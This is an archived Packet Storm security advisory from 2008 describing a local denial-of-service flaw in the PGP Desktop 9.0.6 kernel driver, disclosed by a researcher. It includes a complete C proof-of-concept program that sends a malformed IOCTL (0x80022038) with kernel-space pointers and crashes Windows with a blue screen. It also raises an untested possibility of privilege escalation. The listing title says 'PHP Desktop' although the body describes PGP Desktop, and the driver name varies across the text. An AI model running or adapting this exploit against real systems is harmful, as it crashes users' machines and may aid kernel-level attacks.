PHP Desktop 9.0.6 Denial Of Service

2008-12-30T00:00:00
ID PACKETSTORM:73380
Type packetstorm
Reporter Evilcry
Modified 2008-12-30T00:00:00

Description

                                        
                                            `--------------------------[PGP Desktop 9.0.6 Denial Of Service]--------------->  
  
  
Author: Giuseppe 'Evilcry' Bonfa'  
E-Mail: evilcry {AT} GMAIL {DOT} COM  
Profile: http://evilcry.netsons.org  
Website: http://evilfingers.com/  
  
Release Date: 23/12/2008  
  
+-------------------------------------------------+  
Product: PGP Desktop 9.0.6 [Build 6060] (other version could be affected)  
Affected Component: PGPwded.sys  
Category: Local Denial of Service (BSOD)  
(untested) Local Privilege Escalation  
+-------------------------------------------------+  
  
  
  
--------------------------[Details]--------------->  
  
PGP Desktop 's PGPweded.sys Driver does not sanitize user supplied input (IOCTL)  
and this lead to a Driver Collapse that propagates on the system with a BSOD.  
  
Affected IOCTL is 0x80022038  
  
+-------------------------------------------------+  
Device Type: Custom Device Type: 0x8002, 32770  
Transfer Type: METHOD_BUFFERED (0x0, 0)  
Access Type: FILE_ANY_ACCESS (0x0, 0)  
Function Code: 0x80E, 2062  
+-------------------------------------------------+  
  
From Crash Dump Analysis we obtain a KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e),  
could also exists the possibility of a Local Privilege Escalation, but I've not  
checked it =)  
  
+--------------------------------------------------------------------------------------------+  
/* PGPwded.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC  
*   
* Author: Giuseppe 'Evilcry' Bonfa'  
* E-Mail: evilcry {AT} gmail. {DOT} com  
* Website: http://evilcry.netsons.org  
*  
*/  
  
/*   
Since we had publishing problems, we used spaces between escape < char and the include file as shown here: #include < windows.h >, to compile you have to delete the space.  
  
*/  
#include < windows.h >  
#include < stdio.h >  
#include < stdlib.h >  
  
int main(void)  
{  
HANDLE hDevice;   
DWORD Dummy;   
  
system("cls");  
printf("\n .:: PGP Enterprise DoS Proof of Concept ::.\n");  
  
hDevice = CreateFileA("\\\\.\\PGPwdef",  
0,  
FILE_SHARE_READ | FILE_SHARE_WRITE,  
NULL,  
OPEN_EXISTING,  
0,  
NULL);  
  
if (hDevice == INVALID_HANDLE_VALUE)  
{  
printf("\n Unable to Open PGPwded Device Driver\n");  
return EXIT_FAILURE;  
}  
  
DeviceIoControl(hDevice, 0x80022038,(LPVOID) 0x80000001, 0, (LPVOID) 0x80000002, 0, &Dummy, (LPOVERLAPPED)NULL);  
  
return EXIT_SUCCESS;  
}  
  
+--------------------------------------------------------------------------------------------+  
  
  
  
Special Thanks:  
To _g_ of orange-bat that developed IOCTL-Proxy a really effective IOCTL Fuzzer  
http://www.orange-bat.com/code/ioctl-proxy.zip  
  
  
  
Regards,  
Giuseppe 'Evilcry' Bonfa'  
  
  
  
Disclaimer:  
The information in the advisory is believed to be accurate at the time of publishing based   
on currently available information. Use of the information constitutes acceptance for use   
in an AS IS condition. There is no representation or warranties, either express or implied   
by or with respect to anything in this document, and shall not be liable for a ny implied   
warranties of merchantability or fitness for a particular purpose or for any indirect special   
or consequential damages.  
  
  
`